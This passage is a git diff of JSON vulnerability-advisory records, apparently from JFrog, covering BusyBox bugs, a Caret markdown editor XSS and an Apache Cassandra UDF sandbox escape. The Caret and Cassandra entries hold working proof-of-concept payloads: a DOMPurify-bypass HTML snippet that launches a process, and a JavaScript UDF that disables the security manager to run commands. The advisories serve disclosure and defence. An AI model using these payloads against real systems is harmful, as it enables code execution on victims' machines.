\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the handle_special function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n[JFrog Blogpost](
\n\n","description":"CVE-2021-42384 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189481","vul_id":"CVE-2021-42384","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk handle_special UaF","path":"/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the handle_special function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n[JFrog Blogpost](
\n\n","description":"CVE-2021-42384 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189481","vul_id":"CVE-2021-42384","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/index.json b/assets/data/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/index.json index 60e444f0b0..bc85dfaf7c 100644 --- a/assets/data/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/index.json +++ b/assets/data/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk hash_init UaF","path":"/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the hash_init function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42381 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189478","vul_id":"CVE-2021-42381","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk hash_init UaF","path":"/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the hash_init function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42381 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189478","vul_id":"CVE-2021-42381","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/index.json b/assets/data/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/index.json index 30dfdbf91c..2d2a0235d2 100644 --- a/assets/data/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/index.json +++ b/assets/data/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk next_input_file UaF","path":"/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the next_input_file function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42379 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189476","vul_id":"CVE-2021-42379","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk next_input_file UaF","path":"/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the next_input_file function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42379 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189476","vul_id":"CVE-2021-42379","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/index.json b/assets/data/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/index.json index 3914813f50..b9f2263004 100644 --- a/assets/data/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/index.json +++ b/assets/data/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk nvalloc UaF","path":"/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the nvalloc function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42386 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189483","vul_id":"CVE-2021-42386","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk nvalloc UaF","path":"/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the nvalloc function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42386 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189483","vul_id":"CVE-2021-42386","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/index.json b/assets/data/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/index.json index 977644cea1..95cb2271df 100644 --- a/assets/data/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/index.json +++ b/assets/data/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox hush NULL Pointer Dereference","path":"/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/","content":"Summary
\nA NULL pointer dereference in Busybox hush leads to denial of service when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA NULL pointer dereference in hush leads to denial of service when processing a crafted shell command, due to missing validation after a \\x03 delimiter character. This may be used for DoS under very rare conditions of filtered command input.\nAn attacker that controls hush command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42376 Medium severity. A NULL pointer dereference in Busybox hush leads to denial of service when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189794","vul_id":"CVE-2021-42376","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox hush NULL Pointer Dereference","path":"/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/","content":"Summary
\nA NULL pointer dereference in Busybox hush leads to denial of service when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA NULL pointer dereference in hush leads to denial of service when processing a crafted shell command, due to missing validation after a \\x03 delimiter character. This may be used for DoS under very rare conditions of filtered command input.\nAn attacker that controls hush command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42376 Medium severity. A NULL pointer dereference in Busybox hush leads to denial of service when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189794","vul_id":"CVE-2021-42376","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-hush-untrusted-free-xray-189474/index.json b/assets/data/vulnerabilities/busybox-hush-untrusted-free-xray-189474/index.json index f5eb7c2569..c001853552 100644 --- a/assets/data/vulnerabilities/busybox-hush-untrusted-free-xray-189474/index.json +++ b/assets/data/vulnerabilities/busybox-hush-untrusted-free-xray-189474/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox hush Untrusted Free","path":"/vulnerabilities/busybox-hush-untrusted-free-xray-189474/","content":"Summary
\nAn attacker-controlled pointer free in Busybox hush leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nAn attacker-controlled pointer free in hush leads to denial of service and possible code execution when processing a crafted shell command, due to the shell mishandling the &&& string. This may be used for remote code execution under rare conditions of filtered command input.\nAn attacker that controls hush command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42377 Medium severity. An attacker-controlled pointer free in Busybox hush leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189474","vul_id":"CVE-2021-42377","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox hush Untrusted Free","path":"/vulnerabilities/busybox-hush-untrusted-free-xray-189474/","content":"Summary
\nAn attacker-controlled pointer free in Busybox hush leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nAn attacker-controlled pointer free in hush leads to denial of service and possible code execution when processing a crafted shell command, due to the shell mishandling the &&& string. This may be used for remote code execution under rare conditions of filtered command input.\nAn attacker that controls hush command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42377 Medium severity. An attacker-controlled pointer free in Busybox hush leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189474","vul_id":"CVE-2021-42377","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-lzma-oob-r-xray-189472/index.json b/assets/data/vulnerabilities/busybox-lzma-oob-r-xray-189472/index.json index 3ab54c1943..d4fdd1eed5 100644 --- a/assets/data/vulnerabilities/busybox-lzma-oob-r-xray-189472/index.json +++ b/assets/data/vulnerabilities/busybox-lzma-oob-r-xray-189472/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox LZMA OOB-R","path":"/vulnerabilities/busybox-lzma-oob-r-xray-189472/","content":"Summary
\nA OOB heap read in Busybox lzma leads to data leakage and denial of service when decompressing a malformed LZMA-based archive
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nAn out-of-bounds heap read in unlzma leads to information leak and denial of service when crafted LZMA-compressed input is decompressed. This can be triggered by any applet/format that internally supports LZMA compression.\nAn attacker that can pass an LZMA-based archive to be decompressed, can cause data leakage and denial of service.\nNote that the following applets all accept and decompress an LZMA-based archive:\nunlzma, tar, unzip, rpm, dpkg, man
As shown in the JFrog blogpost, the attack is most potent when the victim unzips a crafted zip archive, since there are no special requirements on the unzipped filename and the leaked data can be archived back into the original zip archive.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42374 Medium severity. A OOB heap read in Busybox lzma leads to data leakage and denial of service when decompressing a malformed LZMA-based archive","date_published":"2021-11-09","xray_id":"XRAY-189472","vul_id":"CVE-2021-42374","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.3}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox LZMA OOB-R","path":"/vulnerabilities/busybox-lzma-oob-r-xray-189472/","content":"Summary
\nA OOB heap read in Busybox lzma leads to data leakage and denial of service when decompressing a malformed LZMA-based archive
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nAn out-of-bounds heap read in unlzma leads to information leak and denial of service when crafted LZMA-compressed input is decompressed. This can be triggered by any applet/format that internally supports LZMA compression.\nAn attacker that can pass an LZMA-based archive to be decompressed, can cause data leakage and denial of service.\nNote that the following applets all accept and decompress an LZMA-based archive:\nunlzma, tar, unzip, rpm, dpkg, man
As shown in the JFrog blogpost, the attack is most potent when the victim unzips a crafted zip archive, since there are no special requirements on the unzipped filename and the leaked data can be archived back into the original zip archive.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42374 Medium severity. A OOB heap read in Busybox lzma leads to data leakage and denial of service when decompressing a malformed LZMA-based archive","date_published":"2021-11-09","xray_id":"XRAY-189472","vul_id":"CVE-2021-42374","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.3}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/index.json b/assets/data/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/index.json index dfb20e9971..88c638861c 100644 --- a/assets/data/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/index.json +++ b/assets/data/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox man NULL Pointer Dereference","path":"/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/","content":"Summary
\nBusyBox man Section Name Handling NULL Pointer Dereference Local DoS
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA NULL pointer dereference was found in the man applet, which leads to denial of service when a section name is supplied but no page argument is given.\nAn attacker that controls man command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42373 Medium severity. BusyBox man Section Name Handling NULL Pointer Dereference Local DoS","date_published":"2021-11-09","xray_id":"XRAY-189471","vul_id":"CVE-2021-42373","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox man NULL Pointer Dereference","path":"/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/","content":"Summary
\nBusyBox man Section Name Handling NULL Pointer Dereference Local DoS
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA NULL pointer dereference was found in the man applet, which leads to denial of service when a section name is supplied but no page argument is given.\nAn attacker that controls man command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42373 Medium severity. BusyBox man Section Name Handling NULL Pointer Dereference Local DoS","date_published":"2021-11-09","xray_id":"XRAY-189471","vul_id":"CVE-2021-42373","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/caret-xss-rce/index.json b/assets/data/vulnerabilities/caret-xss-rce/index.json index 60a35d2fa6..6375590b6f 100644 --- a/assets/data/vulnerabilities/caret-xss-rce/index.json +++ b/assets/data/vulnerabilities/caret-xss-rce/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Caret XSS RCE","path":"/vulnerabilities/caret-xss-rce/","content":"Summary
\nXSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown files
\nComponent
\n\nAffected versions
\nAll versions are affected
\nDescription
\nThis issue is caused due to insufficient validation of the document data, which is sent to the\nElectron renderer.\nSpecifically, in the getMarkdownHtmlElement function in the file\napp.asar/extensions/Markdown/Markdown.js -
t.firstChild.innerHTML = DOMPurify.sanitize(r)
An older version of DOMPurify is used, which has known filtering bypasses (see below)
\nPoC
\nOpening a document with the following contents, when preview mode is enabled, leads to the\nimmediate execution of an arbitrary process (in this case - Calculator) -
\n<form><math><mtext></form><form><mglyph><style></math><img src\nonerror=\"try{ const {shell} = require('electron');\nshell.openExternal('file:C:/Windows/System32/calc.exe') }catch(e){alert(e)}\">\nVulnerability Mitigations
\nDisable Caret's \"Preview Mode\"
\nReferences
\n\n","description":"CVE-2022-42967 High severity. XSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown files","date_published":"2023-01-10","xray_id":"","vul_id":"CVE-2022-42967","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2023-01-10","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Caret XSS RCE","path":"/vulnerabilities/caret-xss-rce/","content":"Summary
\nXSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown files
\nComponent
\n\nAffected versions
\nAll versions are affected
\nDescription
\nThis issue is caused due to insufficient validation of the document data, which is sent to the\nElectron renderer.\nSpecifically, in the getMarkdownHtmlElement function in the file\napp.asar/extensions/Markdown/Markdown.js -
t.firstChild.innerHTML = DOMPurify.sanitize(r)
An older version of DOMPurify is used, which has known filtering bypasses (see below)
\nPoC
\nOpening a document with the following contents, when preview mode is enabled, leads to the\nimmediate execution of an arbitrary process (in this case - Calculator) -
\n<form><math><mtext></form><form><mglyph><style></math><img src\nonerror=\"try{ const {shell} = require('electron');\nshell.openExternal('file:C:/Windows/System32/calc.exe') }catch(e){alert(e)}\">\nVulnerability Mitigations
\nDisable Caret's \"Preview Mode\"
\nReferences
\n\n","description":"CVE-2022-42967 High severity. XSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown files","date_published":"2023-01-10","xray_id":"","vul_id":"CVE-2022-42967","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2023-01-10","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/cassandra-udf-rce-197962/index.json b/assets/data/vulnerabilities/cassandra-udf-rce-197962/index.json index 009be19ff9..db7c3158cf 100644 --- a/assets/data/vulnerabilities/cassandra-udf-rce-197962/index.json +++ b/assets/data/vulnerabilities/cassandra-udf-rce-197962/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Cassandra UDF RCE","path":"/vulnerabilities/cassandra-udf-rce-197962/","content":"Summary
\nInsufficient sandboxing of user-defined functions in Apache Cassandra leads to remote code execution
\nComponent
\n\nAffected versions
\n[3.0.0-alpha1, 3.0.25], fixed in 3.0.26
\n[3.1, 3.11.11], fixed in 3.11.12
\n[4.0-alpha1, 4.0.1], fixed in 4.0.2
\nDescription
\nCVE-2021-44521 is an RCE (remote code execution) issue in Apache Cassandra. This Apache vulnerability is easy to exploit and has the potential to wreak havoc on systems, but luckily only manifests in non-default configurations of Cassandra.
\nCassandra deployments are vulnerable to CVE-2021-44521 when the cassandra.yaml configuration file contains the following definitions:
\nenable_user_defined_functions: true\nenable_scripted_user_defined_functions: true\nenable_user_defined_functions_threads: false\nA malicious authenticated user can run a trivial (publicly available) SQL query that causes remote code execution, by running JavaScript code in the query that abuses the JavaScript engine (Nashorn) and escapes the security sandbox
\nPoC
\ncreate or replace function x.escape_system(name text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$\nvar System = Java.type(\"java.lang.System\");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec(\"touch hacked\")');name $$;\nVulnerability Mitigations
\n- \n
- If UDFs are not actively used, they can be completely disabled by setting
enable_user_defined_functionstofalse(which is the default value) \n - If UDFs are needed, set
enable_user_defined_functions_threadstotrue(which is the default value) \n - Remove the permissions of creating, altering and executing functions for untrusted users by removing the following permissions:
ALL FUNCTIONS,ALL FUNCTIONS IN KEYSPACEandFUNCTIONforCREATE,ALTERandEXECUTEqueries (see blog post for example query) \n
References
\n(JFrog) CVE-2021-44521: RCE Vulnerability in Apache Cassandra
\n\n","description":"CVE-2021-44521 High severity. Insufficient sandboxing of user-defined functions in Apache Cassandra leads to remote code execution","date_published":"2022-02-15","xray_id":"XRAY-197962","vul_id":"CVE-2021-44521","severity":"high","discovered_by":"Omer Kaspi","last_updated":"2022-02-15","cvss":8.4}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Cassandra UDF RCE","path":"/vulnerabilities/cassandra-udf-rce-197962/","content":"Summary
\nInsufficient sandboxing of user-defined functions in Apache Cassandra leads to remote code execution
\nComponent
\n\nAffected versions
\n[3.0.0-alpha1, 3.0.25], fixed in 3.0.26
\n[3.1, 3.11.11], fixed in 3.11.12
\n[4.0-alpha1, 4.0.1], fixed in 4.0.2
\nDescription
\nCVE-2021-44521 is an RCE (remote code execution) issue in Apache Cassandra. This Apache vulnerability is easy to exploit and has the potential to wreak havoc on systems, but luckily only manifests in non-default configurations of Cassandra.
\nCassandra deployments are vulnerable to CVE-2021-44521 when the cassandra.yaml configuration file contains the following definitions:
\nenable_user_defined_functions: true\nenable_scripted_user_defined_functions: true\nenable_user_defined_functions_threads: false\nA malicious authenticated user can run a trivial (publicly available) SQL query that causes remote code execution, by running JavaScript code in the query that abuses the JavaScript engine (Nashorn) and escapes the security sandbox
\nPoC
\ncreate or replace function x.escape_system(name text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$\nvar System = Java.type(\"java.lang.System\");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec(\"touch hacked\")');name $$;\nVulnerability Mitigations
\n- \n
- If UDFs are not actively used, they can be completely disabled by setting
enable_user_defined_functionstofalse(which is the default value) \n - If UDFs are needed, set
enable_user_defined_functions_threadstotrue(which is the default value) \n - Remove the permissions of creating, altering and executing functions for untrusted users by removing the following permissions:
ALL FUNCTIONS,ALL FUNCTIONS IN KEYSPACEandFUNCTIONforCREATE,ALTERandEXECUTEqueries (see blog post for example query) \n
References
\n(JFrog) CVE-2021-44521: RCE Vulnerability in Apache Cassandra
